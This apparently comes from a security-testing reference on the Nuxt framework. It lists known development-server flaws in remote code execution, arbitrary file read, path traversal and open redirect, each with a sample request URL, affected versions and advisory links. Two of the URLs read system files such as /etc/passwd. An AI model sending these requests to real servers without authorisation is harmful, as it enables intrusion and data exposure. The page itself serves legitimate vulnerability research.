Nuxt

Nuxt#

Nuxt is an intuitive and extendable way to create type-safe, performant and production-grade full-stack web apps and websites with Vue 3.

Vulnerabilities#

Remote Code Execution#

• http://localhost:3000/__nuxt_component_test__/?path=data%3Atext%2Fjavascript%2Cconsole%2Elog%28%22hello%21%22%29%3B
• Version: <= v3.4.0-2 (development server)
• Huntr - RCE in developer mode in nuxt/nuxt

Abritrary File Read#

• http://localhost:3000/__nuxt_vite_node__/module//bin/passwd
• Version: 3.0.0-RC8 - 3.4.1 (development server)
• Huntr - (Almost) Arbitary File Read on Development Server in nuxt/nuxt

Path Traversal#

• http://localhost:3000/_nuxt/@fs/etc/passwd
• Version: <= rc12 (development server)
• Huntr - Dev mode Path traversal in nuxt/framework

Open Redirect#

• https://nuxtjs.org///bing.com
• Version: <= 2.15.7
• Github Issues - Three slashes linking to external website